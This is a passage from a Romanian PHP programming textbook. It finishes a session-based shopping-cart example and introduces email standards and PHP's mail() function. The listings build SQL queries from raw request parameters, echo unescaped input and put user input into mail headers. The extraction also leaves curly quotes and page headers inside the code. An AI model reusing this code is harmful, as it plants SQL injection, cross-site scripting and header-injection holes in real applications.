if(isset($_GET[’op’]) && $_GET[’op’] == ”storage”) {
storage();
}
if(isset($_GET[’op’]) && $_GET[’op’] == ”getproducts”) {
?>
<table align=”center” cellspacing=”5’>
<tr>
<td class=”title” colspan=”2” align=”center’>
Alege produsul</td>
</tr>
<tr>
<td align=”center”>
<a href=”index.php?op=getproducts&type=client”
class=”menu”>E-mail Clients</a> | </td>
<td alig=”center”>
<a href=”index.php?op=getproducts&type=server”
class=”menu”>E-mail servers</a></td>
</tr>
</table>
<?php
if($_GET[’op’] == ”getproducts” &&
$_GET[’type’] == ”client”)
display(”client”);

if($_GET[’op’] == ”getproducts” && $_GET[’type’]==”server”)


display(”server”);
66 PROGRAMAREA ÎN PHP

}
?>
</body>
</html>

Fiºierul connect.php (listing-ul 4.10) stocheazã date pentru conectarea la serverul de


baze de date ºi selectarea bazei de date. De asemenea, este creatã sesiunea prin
intermediul funcþiei session_start():
4.10. Aplicaþia MailShop: fiºierul connect.php
<?php
session_start();
function connection($host,$user,$passw,$db) {
$conn = mysql_connect($host,$user,$passw) or
die(”Conexiunea nu a putut fi realizata!”);
mysql_select_db($db, $conn) or
die(”Accesul la baza de date nu a fost realizat”);
}
?>

Fiºierul operations.php (listing-ul 4.11) include definiþiile celorlalte funcþii utilizate


în aplicaþie:
4.11. Aplicaþia MailShop: fiºierul operations.php
<?php
function display($type) {
$result=mysql_query(”SELECT * FROM email
WHERE type=’$type’”);
$nr=mysql_num_rows($result);
if($nr>=1) {
while($row=mysql_fetch_array($result)){
echo ”<table cellspacing=’5’
cellpadding=’5’
style=’border-top: 1px solid #0072aa;’>”;
$id=$row[’id’];
$product=$row[’product’];
$company=$row[’company’];
$price=$row[’price’];
$urlimage=$row[’urlimage’];
$av=$row[’av’];
if(isset($_GET[’id’]) && $_GET[’id’] == $id) {
echo ”<tr><td colspan=’2’ class=’info’>” .
add($id) . ”</td></tr>”;
}
echo ”<tr>
<td rowspan=’4’>
<image src=\”images/$urlimage\”
PHP ªI UTILIZAREA SESIUNILOR 67

alt=\”$product\’
align=\”center\” width=’75’></td>
<td id=’product’ width=’800’>$product</td>
</tr>
<tr>
<td id=’company’>by $company</td>
</tr>
<tr><td id=’price’>Pret: $price</td>
</tr>”;
if($av)
echo ”<tr><td><a class=’link’ href=’” .
$_SERVER[’PHP_SELF’].”?
op=getproducts&type=$type&id=” . $id .
”’>Adauga produsul in cos</a></td></tr>”;
else
echo ”<tr><td class=’unavailable’>
Currently unavailable</td></tr>”;
echo ”</table>”;
}
}
else
echo ”Nu sunt inregistrate produse”;
}
// Functie pentru adaugarea unui produs in cos
function add($id){
if(isset($_SESSION[’products’]))
foreach($_SESSION[’products’] as $product_id)
if($product_id == $id)
$exista = true;
if($exista) {
$info = ”Produsul exista in cos!”;
}
else{
$_SESSION[’products’][$id] = $id;
$info = ”Produsul a fost adaugat in cos!’;
}
return $info ;
}
// Functie pentru vizualizarea continutului cosului
function getcart(){
if(!count($_SESSION[’products’]))
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Nu sunt produse in cos!</td>
</tr>
</table>”;
68 PROGRAMAREA ÎN PHP

else{
$total = 0;
foreach($_SESSION[’products’] as $id) {
$result=mysql_query(”SELECT * FROM email
WHERE id=’$id’”);
$row=mysql_fetch_array($result);
echo ”<table cellspacing=’5’ cellpadding=’5’
style=’border-top: 1px solid #0072aa;’>”;
$id=$row[’id’];
$product=$row[’product’];
$company=$row[’company’];
$price=$row[’price’];
$urlimage=$row[’urlimage’];
$total += $price;
echo ”<tr>
<td rowspan=’4’>
<image src=\”images/$urlimage\”
alt=\”$product\” align=\”center\”
width=’75’></td>
<td id=’product’ width=’800’>$product</td>
</tr>
<tr>
<td id=’company’>by $company</td>
</tr>
<tr>
<td id=’price’>Pret: $price</td>
</tr>
<tr>
<td colspan=’2’ align=’center’>
<a href=’index.php?op=delete&id=$id’
class=’link’>Sterge</a></td>
</tr>”;
echo ”</table>’;
}
echo ”<table align=’center’>
<tr>
<td colspan=’2’ id=’total’ align=’center’>
Pret total: ” . $total . ”</td>
</tr>
</table>”;
}
}
// Functie pentru trimiterea comenzii
function buy(){
$nr = count($_SESSION[’products’]);
if(!$nr) {
PHP ªI UTILIZAREA SESIUNILOR 69

echo ”<table cellspacing=’5’ cellpadding=’5’>


<tr><td id=’info’>
Cosul este gol!</td>
</tr>
</table>”;
}
if(!isset($_SESSION[’date’])) {
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr><td id=’info’>
Nu ati introdus datele personale!</td>
</tr>
</table>”;
}
if($nr && isset($_SESSION[’date’])) {
$cumparator = $_SESSION[’date’][’email’];
$headers = ”MIME-Version: 1.0\r\n”;
$headers .= ”Content-type: text/html;
charset=iso-8859-2\r\n”;
$headers .= ”From: store@localhost\r\n’;
$cart = ”Stimate cumparator ”
.$_SESSION[’date’][’sname’];
$cart .= ” ”.$_SESSION[’date’][’fname’];
$cart .= ”, ati cumparat ” . $nr . ” produse.”;
$cart .= ” Acestea sunt: <br />”;
echo ”<p class=’send’>$cart</p>”;
$list = ””;
$total = 0;
foreach($_SESSION[’products’] as $id) {
$result=mysql_query(“SELECT * FROM email
WHERE id=’$id’”);
$row=mysql_fetch_array($result);
echo ”<table cellspacing=’5’ cellpadding=’5’
style=’border-top: 1px solid #0072aa;’>”;
$id=$row[’id’];
$product=$row[’product’];
$company=$row[’company’];
$price=$row[’price’];
$urlimage=$row[’urlimage’];
$total += $price;
echo ”<tr>
<td rowspan=’4’>
<image src=\”images/$urlimage\”
alt=\”$product\” align=\”center\”
width=’75’></td>
<td id=’product’ width=’800’>$product</td>
</tr>
70 PROGRAMAREA ÎN PHP

<tr>
<td id=’company’>by $company</td>
</tr>
<tr>
<td id=’price’>Pret: $price</td>
</tr>”;
echo ”</table>”;
$list .= $product . ”(” . $company .”). Pret” .
$price . ”<br />”;
}
echo ”<table align=’center’>
<tr>
<td id=’total’align=’center’>Pret total: ”
. $total . ”</td>
</tr>
</table>”;
$list .= ”<br />Pret total: ” . $total;
$cart .= $list;
$ok_expeditor=mail($cumparator,”Confirmare comanda”,
$cart,$headers);
$destinatar=”sales@localhost”;
$cart = ”Domnul/doamna ”.$_SESSION[’date’][’sname’];
$cart .= ” ”.$_SESSION[’date’][’fname’].”<br />”;
$cart .= ” avand adresa: ” .
$_SESSION[’date’][’address’] .
”,<br /> a comandat produsele:<br />”;
$cart .= $list;
$ok_distributie=mail($destinatar,”comanda”,
$cart, $headers);
if($ok_expeditor && $ok_distributie)
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Comanda va fi expediata
in cel mult sapte zile!</td>
</tr>
</table>”;
session_unset();
session_destroy();

}
}
/* Functie pentru adaugarea datelor personale
ale cumparatorului */
function add_info(){
if(!isset($_SESSION[’date’])){
?>
PHP ªI UTILIZAREA SESIUNILOR 71

<form action=”index.php”>
<table>
<tr>
<td id=”info_pers”>Nume</td>
<td><input type=”text” name=”sname” /></td>
</tr>
<tr>
<td id=”info_pers”>Prenume</td>
<td><input type=”text” name=”fname” /></td>
</tr>
<tr>
<td id=”info_pers”>Adresa</td>
<td><input type=”text” size=”25”
name=”address” /></td>
</tr>
<tr>
<td id=”info_pers”>Email</td>
<td><input type=”text” name=”email”></td>
</tr>
<tr>
<td colspan=”2” align=”center”>
<input type=”submit” name=”submit”
value=”Trimite” /></td>
</tr>
<input type=’hidden’ name=’op’ value=’storage’>
</table>
</form />
<?php
}
else
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Datele personale sunt
deja stocate!</td>
</tr>
</table>”;
}
// Functie pentru stocarea datelor de identificare
function storage(){
if(!isset($_GET[’sname’]) || empty($_GET[’sname’])
|| is_numeric($_GET[’sname’]))
$error = ”Numele nu este corect</br >”;
if(!isset($_GET[’fname’]) || empty($_GET[’fname’])
|| is_numeric($_GET[’fname’]))
$error .= ”Prenumele nu este corect</br >”;
if(!isset($_GET[’address’]) || empty($_GET[’address’])
72 PROGRAMAREA ÎN PHP

|| is_numeric($_GET[’address’]))
$error .= ”Adresa nu este corecta</br >”;
if(!validateEmail($_GET[’email’]))
$error .= ”Adresa de e-mail nu este corecta”;
if(!$error) {
$_SESSION[’date’][’sname’] = $_GET[’sname’];
$_SESSION[’date’][’fname’] = $_GET[’fname’];
$_SESSION[’date’][’address’] = $_GET[’address’];
$_SESSION[’date’][’email’] = $_GET[’email’];
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Datele personale au fost
stocate!</td>
</tr>
</table>”;
}
else
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Erori:<br /> $error</td>
</tr>
</table>”;
}
// Functie pentru validarea adresei de e-mail
function validateEmail($email){
$pattern =
’/^\w[\w\d]+(\.[\w\d]+)*@\w[\w\d]+(\.[\w\d]+)*\.
[a-z]{2,4}$/i’;
return preg_match($pattern,$email);
}
// Functie pentru eliminarea unui produs din cos
function del_product($id) {
unset($_SESSION[’products’][$id]);
}
// Functie pentru eliminarea tuturor produselor din cos
function del_all() {
session_unset();
session_destroy();
echo ”<table cellspacing=’5’ cellpadding=’5’>
<tr>
<td id=’info’>Au fost eliminate toate produsele
din cos!</td>
</tr>
</table>”;
}
?>
PHP ªI UTILIZAREA SESIUNILOR 73

În variabila-sesiune $_SESSION[’products’] se stocheazã identificatorii (id )


produselor adãugate în coºul de cumpãrãturi, iar în $_SESSION[’date’] se stocheazã
datele personale ale cumpãrãtorului (numele, prenumele, adresa de domiciliu ºi adresa
de e-mail), necesare pentru trimiterea comenzii. Înainte de a fi stocate, aceste date sunt
validate (primele trei trebuie sã nu fie numere, iar adresa de e-mail este validatã utilizând
funcþia validateEmail() , care utilizeazã expresii regulate).
Cumpãrãtorul poate vizualiza lista produselor aflate în vânzare (vezi funcþia display()).
De asemenea, poate adãuga în coº câte un exemplar din produsele pe care le doreºte
(dacã acesta este disponibil pentru vânzare). Încercarea de a adãuga un produs aflat deja
în coº se soldeazã cu un eºec (cumpãrãtorul primeºte un mesaj prin care este înºtiinþat
cã produsul se aflã deja în coº).
afiºate dupã executarea codului din listing-ul 4.9 (1)

Cumpãrãtorul
poate adãuga în
coº oricare dintre
produsele oferite,
disponibile pentru
vânzare.

Cumpãrãtorul poate afiºa oricând doreºte conþinutul coºului (vezi funcþia


getcart()). De asemenea, poate ºterge orice produs existent în coº (vezi funcþia
del_product() ) sau întregul conþinut al coºului (vezi funcþia del_all()).
Trimiterea comenzii este posibilã numai dacã, în prealabil, cumpãrãtorul a
introdus datele de identificare (vezi funcþiile add_info() ºi storage()).
Dacã au fost introduse datele de identificare ºi coºul conþine cel puþin un
produs, comanda este acceptatã (vezi funcþia buy() ). Cumpãrãtorul va primi un mesaj
de e-mail la adresa specificatã de acesta, mesaj care conþine date despre produsele
cumpãrate ºi informaþii privind data aproximativã a primirii produselor).
74 PROGRAMAREA ÎN PHP

afiºate dupã executarea codului din listing-ul 4.9 (2)

Cumpãrãtorul
poate vizualiza
oricând conþinutul
coºului.

De asemenea, va fi trimis un mesaj departamentului de vânzãri al magazinului


virtual. Acest mesaj conþine datele de identificare ale cumpãrãtorului ºi lista produselor
comandate.
afiºate dupã executarea codului din listing-ul 4.9 (3)

Finalizarea
cumpãrãturilor

Funcþionarea corectã a aplicaþiei presupune utilizarea unui server ºi a unui client de


e-mail. Pentru a obþine informaþii despre poºta electronicã, citiþi capitolul urmãtor.
Ne-am propus ca în aceastã secþiune sã ilustrãm principiul de realizare a unei aplicaþii
pentru comercializarea online a produselor, concentrându-ne atenþia pe crearea coºului
pentru cumpãrãturi ºi efectuarea unor operaþii specifice asupra produselor în raport cu
acesta. Este evident cã aplicaþia prezentatã poate fi perfecþionatã! Vã invitãm sã faceþi
acest lucru!
PHP ªI UTILIZAREA SESIUNILOR 75

CAPITOLUL 5

PHP ºi poºta electronicã


„Nimic nu e mai îngrozitor decât sã trãieºti
într-o lume strãinã de tine.”
F.M. Dostoievski

În acest capitol veþi învãþa sã utilizaþi PHP pentru a trimite


mesaje de e-mail (care conþin text simplu sau formatat XHTML,
precum ºi fiºere ataºate) ºi, pe baza cunoºtinþelor dobândite, sã
realizaþi un newsletter.

Serviciul de poºtã electronicã


Poºta electronicã (în englezã e-mail sau electronic mail) este unul dintre cele mai folosite
servicii Internet. Pentru mulþi oameni, a comunica înseamnã a schimba mesaje de e-mail
în interes personal sau pentru a îndeplini sarcinile de serviciu.
Utilizarea serviciului de poºtã electronicã are numeroase avantaje în raport cu alte
modalitãþi de comunicare, dintre care menþionãm persistenþa mesajelor, viteza de rea-
lizare, costurile reduse ºi accesul controlat la mesaje.
Un cont de e-mail include o adresã (address) ºi o parolã (password). O adresã de
e-mail are urmãtoarea structurã generalã:
user@domain
în care user este numele de utilizator personalizat, iar domain este numele DNS
complet al serverului pe care este deschis contul, exclusiv punctul final.
Sistemele de poºtã electronicã constau din trei subsisteme:
1. agenþii-utilizator (Mail User Agent sau, pe scurt, MUA): permit utilizatorilor sã
citeascã ºi sã trimitã mesaje de e-mail, inclusiv sã le punã în forma standardizatã
necesarã pentru a fi expediate. Forma respectivã impune unui mesaj ca el sã conþinã
anteturi (headers: includ informaþii de control ºi metadate, ca, de exemplu, expe-
ditorul ºi destinatarul mesajului, subiectul acestuia etc.) ºi un corp (body: partea
principalã a unui mesaj, care include date diverse, aºa cum sunt textul ºi imaginile).
MUA sunt programe locale, denumite clienþi de e-mail, care permit utilizatorilor sã
interacþioneze cu sistemul de e-mail, de obicei prin intermediul unei interfeþe grafice;
exemple: Pine, elm, Ximian Evolution, Mozilla Thunderbird, Eudora, Outlook
Express etc.);
76 PROGRAMAREA ÎN PHP

2. agenþii de transfer de mesaje (Mail Transport Agent sau Mail Transfer Agent, pe
scurt, MTA): transportã mesajele de la sursã la destinaþie (sunt, de obicei, daemoni
care funcþioneazã în fundal; exemple: sendmail, qmail, Microsoft Exchange, Kerio
MailServer etc.);
3. agentul local de livrare (Local Delivery Agent sau, pe scurt, LDA): preia mesajele
sosite pe maºina-destinaþie ºi le distribuie în cãsuþele poºtale ale utilizatorilor). Acest
subsistem, împreunã cu cel anterior, alcãtuiesc un server de e-mail.

În principiu, expedierea, transferul ºi recepþionarea mesajelor de e-mail au loc


în felul urmãtor: MTA preia mesajele create de MTU ºi le trimite daemonului
MTA de pe maºina-þintã. Acesta le pune la dispoziþia LDA, care le va adãuga în
cãsuþele poºtale ale destinatarilor (o cãsuþã poºtal㠖 mailbox – sau un recipient de
mesaje este un director sau un fiºier ce conþine mesajele de e-mail primite de un
utilizator). Protocolul utilizat în cursul „discuþiei” dintre cele douã MTA-uri este SMTP
(Simple Mail Transfer Protocol, RFC 2821) sau ESMTP (Enhanced SMTP), ultimul
adãugând suport pentru mesaje codificate pe 8 biþi.
Clientul de poºtã electronicã (denumit ºi SMTP client) se conecteazã la portul 25 al
calculatorului-server, port utilizat în mod obiºnuit de serverul de e-mail (denumit ºi
server SMTP). Accesul utilizatorului la mesajele din cutia sa poºtalã poate avea loc în
douã moduri:
1. dacã este utilizat protocolul POP (Post Office Protocol), mesajele sunt descãrcate pe
calculatorul personal ºi apoi citite. Versiunea curentã a acestui protocol este POP3;
2. dacã este utilizat protocolul IMAP (Internet Messaging Access Protocol, RFC 2060),
mesajele sunt citite la distanþã (adicã la ISP – Internet Service Provider). Versiunea
curentã este IMAP4. Acest protocol este mai recent ºi mai avantajos decât POP,
oferind utilizatorului posibilitatea de a avea acces la contul sãu de e-mail din diverse
locaþii.
În ultimii anii, s-a dezvoltat foarte mult aºa-numitul Web-based email service
(serviciu de e-mail bazat pe Web), care oferã utilizatorului posibilitatea de a-ºi
accesa contul de e-mail prin intermediul unui browser Web. Astfel, utilizatorul
are acces la mesaje prin intermediul unei interfeþe implementate ca un site Web, care
oferã utilizatorului posibilitatea de a citi, trimite ºi organiza mesajele stocate pe serverul
furnizorului serviciului. Yahoo!, Hotmail ºi Gmail sunt exemple de furnizori de servicii
de e-mail bazate pe Web. Serviciul Gmail oferã utilizatorului posibilitatea accesului la
contul de e-mail ºi prin intermediul unui client local, care utilizeazã protocolul POP3.

Standarde pentru formatul mesajelor de e-mail


Standardul RFC 822
Standardul utilizat pentru formatul mesajelor de e-mail bazate pe text (plain ASCII text)
este RFC 822 (publicat în 1982). Acesta defineºte sintaxa ºi anteturile necesare pentru
compunerea unui mesaj. În principiu, un mesaj de e-mail este alcãtuit din mai multe
anteturi, fiecare plasat pe câte o linie, o linie vidã ºi corpul mesajului. Mesajul se
PHP ªI POªTA ELECTRONICÃ 77

terminã cu un punct. În continuare, este prezentat un exemplu în care puteþi analiza


conþinutul unui mesaj de e-mail într-o formã foarte des întâlnitã:
To: Mihai Ionescu <imihai@example.com>
From: Daniel Turcu <tdaniel@example.com>
Subject: Test

Salutari!

.
Fiecare antet se compune dintr-o linie de text ASCII care conþine numele antetului,
caracterul „: ” (douã puncte) ºi o valoare. În continuare sunt prezentate câteva anteturi
RFC 822 (primele patru sunt legate de transportul mesajelor de e-mail):
• To – antetul are ca valoare adresa/adresele de e-mail ale destinatarilor primari;
• From – acest antet are ca valoare adresa de e-mail a pesoanei care a creat mesajul;
• Cc – valoarea acestui antet este reprezentatã de adresele de e-mail ale destinatarilor
secundari, care primesc o copie (carbon copy) a mesajului;
• Bcc – acest antet are ca valoare adresa/adresele pentru blind carbon copy;
• Replay-To – valoarea acestui antet este adresa de e-mail la care pot fi trimise
rãspunsurile;
• Date – valoarea antetului este reprezentatã de data ºi ora la care a fost trimis mesajul;
• Subject – acest antet are ca valoare o descriere scurtã a mesajului, afiºabilã pe o
singurã linie.
RFC 822 precizeazã cã utilizatorii pot sã-ºi defineascã anteturi personale, cu condiþia
ca acestea sã înceapã cu ºirul de caractere X-, utilizat pentru a evita conflictele dintre
aceste anteturi ºi cele definite oficial în standard.

Standardul MIME
Standardul RFC 822 permite trimiterea unor mesaje pur textuale, bazate pe codificarea
US-ASCII (pe 7 biþi) a caracterelor. În situaþiile în care trebuie trimise fiºiere binare sau
sunt necesare alte seturi de caractere, acest standard nu mai este suficient. Soluþia este
standardul MIME (RFC 1341 ºi RFC 1521). Acest nume este acronimul pentru Multi-
purpose Internet Mail Extensions (extensii de poºtã elecronicã pentru scopuri multiple).
MIME este utilizat ca un superset pentru RFC 822, extinzând posibilitãþile iniþiale
oferite de acest standard prin introducerea unor anteturi MIME (MIME headers) care
permit un control sporit asupra a ceea ce poate conþine un mesaj de e-mail ºi asupra
modului în care acest conþinut este interpretat.
Standardul MIME permite introducerea în corpul mesajului a unui conþinut
formatat XHTML, utilizarea unor seturi de caractere internaþionale (diferite de
US-ASCII), dar ºi trimiterea unor fiºiere ataºate mesajului. Astãzi, cei mai
mulþi clienþi de e-mail suportã acest standard ºi pot trimite ºi primi fiºiere conþinând
tipuri arbitrare de date.
Deoarece respectã RFC 822, mesajele MIME pot fi trimise utilizând programele ºi
protocoalele de poºtã electronicã existente. De exemplu, pentru a trimite un fiºier binar
78 PROGRAMAREA ÎN PHP

ataºat (o imagine, un document Word, un program etc.) se procedeazã astfel: datele


incluse în fiºier sunt transformate (codificate) în text simplu, iar rezultatul conversiei
este inclus în corpul mesajului înainte ca acesta sã fie trimis. La destinaþie, clientul de
e-mail trebuie sã extragã textul din mesaj ºi sã-l converteascã (decodifice) într-un fiºier
binar (identic cu originalul), în conformitate cu anteturile MIME furnizate.
MIME oferã posibilitatea introducerii simultane într-un singur mesaj a unor
diverse tipuri de date (de exemplu, o imagine GIF ºi un document PDF),
comunicând clientului de e-mail cum sã interpreteze datele respective.
Atunci când scrieþi un script utilizat pentru trimiterea unui mesaj de e-mail conform
standardului MIME, trebuie sã aveþi în vedere cã un client de e-mail utilizat pentru
trimiterea mesajului respectã urmãtoarele reguli:
• dacã mesajul conþine numai text simplu ASCII, programul lasã textul nemodificat ºi
transmite clientului de e-mail (care va citi mesajul) sã interpreteze conþinutul mesajului
ca text simplu;
• dacã mesajul conþine unul sau mai multe ataºamente sau un corp formatat XHTML,
fiecare parte a acestuia este tratatã ºi analizatã separat. Pentru început, se determinã
formatul datelor, lucru necesar pentru a se comunica clientului de e-mail ce trebuie
sã facã cu datele. Apoi, se asigurã codificarea datelor (datele sunt codificate numai
dacã formatul lor este diferit de formatul US-ASCII), astfel încât sã nu se producã
pierderi în cursul transferului. Prin codificare, ele sunt transformate în text simplu,
în acord cu standardul RFC 822. În final, datele codificate sunt inserate în mesaj, iar
clientul de e-mail (care va citi mesajul) este informat, prin intermediul anteturilor
MIME, asupra caracteristicilor datelor pe care trebuie sã le aºtepte (adicã dacã existã
fiºiere ataºate, cum au fost codificate datele ºi care sunt formatele fiºierelor originale).
În continuare sunt prezentate cele mai importante anteturi MIME:
• MIME-Version. Acest antet comunicã agentului-utilizator care primeºte mesajul cã
este vorba de un mesaj MIME, precum ºi versiunea MIME utilizatã (1.0). Antetul
trebuie sã fie prezent dacã doriþi sã trimiteþi un mesaj care conþine orice în plus faþã
de caracterele codificate US-ASCII. Un mesaj ce nu conþine acest antet este presupus
ca fiind un mesaj care conþine text simplu (codificat US-ASCII), fiind procesat ca
atare:
MIME-Version: 1.0
• Content-Type . Acest antet specificã atât tipul de date conþinute în mesaj (binare,
audio, video, imagini etc.) sau setul de caractere utilizat, cât ºi subtipul lor (separate
printr-un slash). Tipurile media înregistrate de IANA (Internet Assigned Numbers
Authority) sunt (http://www.iana.org/assignments/media-types): application ,
audio , image, message, model , multipart , text ºi video, fiecare având mai
multe subtipuri. Numele tipurilor ºi/sau subtipurilor MIME nestandardizate sunt
prefixate de caracterul x (e.g., image/x-xbitmap desemneazã formatul grafic XBM
utilizat de mediul XWindow). Pentru informaþii detaliate, consultaþi ºi RFC 2045 ºi
RFC 2046. De asemenea, antetul Content-Type poate include ºi alte informaþii,
precizate prin intermediul unor parametri. Acest antet poate fi omis dacã mesajul
conþine numai caractere US-ASCII. De exemplu, dacã doriþi sã trimiteþi un mesaj în
format XHTML ºi care conþine diacritice, utilizaþi:
Content-Type: text/html; charset: iso-8859-2;
PHP ªI POªTA ELECTRONICÃ 79

• Content-Transfer-Encoding. Deoarece protocolul SMTP – utilizat în mod


obiºnuit pentru pentru transferul mesajelor de e-mail – presupune în mod implicit cã
aceste mesaje au un conþinut ASCII pe 7 biþi, este necesarã o modalitate de a preciza
o schemã de codificare a altor tipuri de date, prin utilzarea cãreia aceste date sunt
transformate în text simplu. Cea mai des utilizatã schemã este base64. Utilizând-o, pot fi
trimise sigur date binare arbitrare. Antetul Content-Transfer-Encoding precizeazã
schema de codificare utilizatã, ca în exemplul urmãtor:
Content-Transfer-Encoding: base64
• Content-Description. Acest antet este un ºir de caractere care precizeazã ceea ce
se aflã în mesaj.
În acest capitol vom prezenta atât soluþia bazatã pe standardul RFC 822, cât ºi pe cea
care utilizeazã standardul MIME.

Trimiterea mesajelor de e-mail în PHP


Limbajul PHP oferã posibilitatea utilizãrii serviciului de poºtã electronicã. Pentru
execuþia corectã a scripturilor din acest capitol trebuie sã utilizaþi un server de mail. În
caz contrar, comentaþi apelul funcþiei mail() sau utilizaþi operatorul @ .
Creaþi subdirectorul email în directorul-rãdãcinã al sitului Web, în care veþi stoca
fiºierele ce conþin codul inclus în exemplele prezentate în acest capitol.

Setãri în fiºierul php.ini


Pentru a putea trimite mesaje de e-mail este necesar sã realizaþi câteva setãri în fiºierul
de configurare php.ini (dacã aveþi acces la acesta). De obicei, aceste setãri sunt realizate
de administrator. Astfel, este necesar ca în acest fiºier:
• (numai pentru sisteme Windows) directiva SMTP sã aibã ca valoare numele DNS sau
adresa IP a serverului SMTP utilizat de PHP pentru a trimite email-uri. Acest nume
poate fi localhost, dacã pe calculatorul respectiv este instalat un server de mail
(pentru Windows 2000 Server: trebuie ca serviciul SMTP sã fie pornit sau, dacã
doriþi sã instalaþi serverul de mail preferat – de exemplu, Kerio MailServer –, este
necesar ca, înainte de instalarea acestuia, sã opriþi ºi sã dezactivaþi serviciul SMTP
implicit);
• (numai pentru sisteme Windows) directiva sendmail_from sã aibã ca valoare adresa de
e-mail a expeditorului – e.g., traian@localhost (aceastã adresã va fi utilizatã în mod
implicit în antetul From al mesajului de e-mail trimis de PHP prin intermediul
funcþiei mail(), în situaþia în care nu este precizat explicit un astfel de antet, cu
valoarea corespunzãtoare);
• (numai pentru sisteme UNIX/Linux) directiva sendmail_path sã aibã ca valoare calea
cãtre programul sendmail (aceasta este, de regulã, /usr/sbin/sendmail sau /
usr/lib/sendmail). În sistemele care nu utilizeazã sendmail pentru trimiterea
mesajelor de e-mail, directiva sendmail_path trebuie sã aibã ca valoare calea cãtre
programul care înlocuieºte sendmail.
80 PROGRAMAREA ÎN PHP

Presupunând cã aveþi acces la un server (instalat pe calculatorul dumneavoastrã) ºi la


un client de mail, este necesar sã efectuaþi operaþiile descrise în continuare:
• creaþi cel puþin douã conturi de e-mail pe serverul instalat; unul dintre ele va avea
adresa utilizatã ca valoare a directivei sendmail_from (de exemplu, traian@localhost
ºi dorina@localhost);
• configuraþi clientul de mail, adãugând datele corespunzãtoare conturilor create
anterior, precum ºi numele serverelor utilizate pentru incoming (incoming mail
server: POP sau IMAP) ºi pentru outgoing (outgoing mail server: SMTP). Ambele
nume trebuie sã fie localhost.

Funcþia mail()
În limbajul PHP, trimiterea mesajelor de e-mail se face prin intermediul funcþiei mail().
Aceasta are urmãtorul prototip:
bool mail(string to,string subject,string message
[,string additional_headers])
Semnificaþiile celor patru parametri sunt:
• to conþine adresa de e-mail a destinatarului. Pot fi specificate mai multe adrese
simultan, separate prin virgulã;
• subject conþine subiectul mesajului ce va fi trimis;
• message conþine mesajul care va fi trimis la destinatar;
• additional_headers reprezintã anteturi adiþionale ca From, To, Reply-To, Cc,
Bcc. Ele trebuie separate prin secvenþa/caracterul linie nouã: \r\n (pe sisteme
Windows) ºi \n (pe sisteme UNIX/Linux). Antetul Cc este sensibil la distincþia dintre
majuscule ºi minuscule ºi trebuie scris Cc pe sisteme Win32, iar antetul Bcc nu este
suportat pe sistemele Win32.
Adresa de e-mail poate specificatã în douã moduri:
• user@domain, ca în exemplul urmãtor:

imihai@example.com
• name <user@domain>, ca în exemplul urmãtor:
Mihai Ionescu <imihai@example.com)
Nu trebuie sã introduceþi vreun caracter linie nouã în parametrii to sau subject . În
caz contrar, mesajul nu va fi trimis. Iatã un exemplu de utilizare a funcþiei mail():
mail(”tdaniel@example.com”,”informatii”,
”In curand iti voi trimite informatii despre proiect”,
”From: atraian@example.com\r\n”
.”Reply-To: atraian@example.com”);
PHP ªI POªTA ELECTRONICÃ 81

Mesaje de e-mail bazate pe text


În continuare, este prezentat un script care permite trimiterea prin e-mail a conþinutului
unui formular completat de utilizator. Puteþi folosi acest script pentru a realiza pagina de
contact a sitului dumneavoastrã. Vizitatorul sitului trebuie sã completeze un formular
cu: numele ºi prenumele sãu, adresa lui de e-mail ºi mesajul pe care doreºte sã-l
transmitã administratorului reþelei. Menþionãm cã, pentru a utiliza acest exemplu în
aplicaþiile dumneavoastrã, trebuie sã adãugaþi scriptului codul de validare a datelor
introduse în câmpurile formularului. Creaþi fiºierul sendmail.php cu urmãtorul conþinut
(listing-ul 5.1):
5.1. Trimiterea conþinutului unui formular prin e-mail
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Trimiterea continutului unui formular prin e-mail
</title>
</head>
<body>
<?php
if(!isset($_POST[”submit”])){
?>
<form method=”post” action=”<?php echo $PHP_SELF ?>”>
<table>
<tr><td>Nume:</td>
<td><input type=”text” name=”nume_exp” size=”25” />
</td></tr>
<tr><td>Prenume:</td>
<td><input type=”text” name=”prenume_exp” size=”25” />
</td></tr>
<tr><td>Adresa email:</td>
<td><input type=”text” name=”mail_exp” size=”25” />
</td></tr>
<tr><td>Mesaj:</td>
<td><textarea name=”mesaj” cols=”25” rows=”8”>
</textarea>
</td></tr>
<tr><td></td><td>
<input type=”reset” value=”Anuleaza” />
<input type=”submit” name=”submit” value=”Trimite” />
</td></tr>
</table>
</form>
82 PROGRAMAREA ÎN PHP

<?php
}
else{
$info=”Nume: ”.$_POST[’nume_exp’].”<br />”;
$info.=”Prenume: ”.$_POST[’prenume_exp’].”<br />”;
$info.=”Email: ”.$_POST[’mail_exp’].”<br />”;
$message=”Mesaj: ”.$_POST[’mesaj’].”\n”;
$email_to=”traian@localhost”;
$subject=”Sugestii pentru pagina Web”;
$header=”From: contact@localhost\r\n”;
$header.=”Reply-To: ”.$_POST[’mail_exp’];
@mail($email_to,$subject,$message,$header)
or die(”Eroare: mesajul nu a fost trimis”);
echo ”<p style=’font-size: 14px; color: red;’>
Ati trimis datele urmãtoare: <p>”.
”<p style=’font-size: 12px; color: blue;’>”.
$info.”<br />”.$message.”</p>;
echo ”<p style=’font-size: 14 px’>
Multumim pentru mesaj!</p>”;
}
?>
</body>
</html>

Executaþi scriptul sendmail.php (http://127.0.0.1/email/sendmail.php). Veþi obþine


rezultatele urmãtoare:
afiºate dupã executarea scriptului din listing-ul 5.1.
PHP ªI POªTA ELECTRONICÃ 83

În figura 5.1 puteþi observa mesajul de e-mail vizualizat în clientul Mozilla Thunderbird:

Figura 5.1. Utilizând limbajul PHP, puteþi trimite mesaje de e-mail

Mesaje de e-mail în format XHTML


Dacã se doreºte trimiterea unui mesaj în format XHTML, trebuie utilizate anteturile:
$header=”MIME-Version: 1.0\r\n”;
$header.=”Content-Type: text/html; charset=iso-8859-1\r\n”;
În continuare este prezentat un exemplu (listing-ul 5.2) în care se trimite un mesaj în
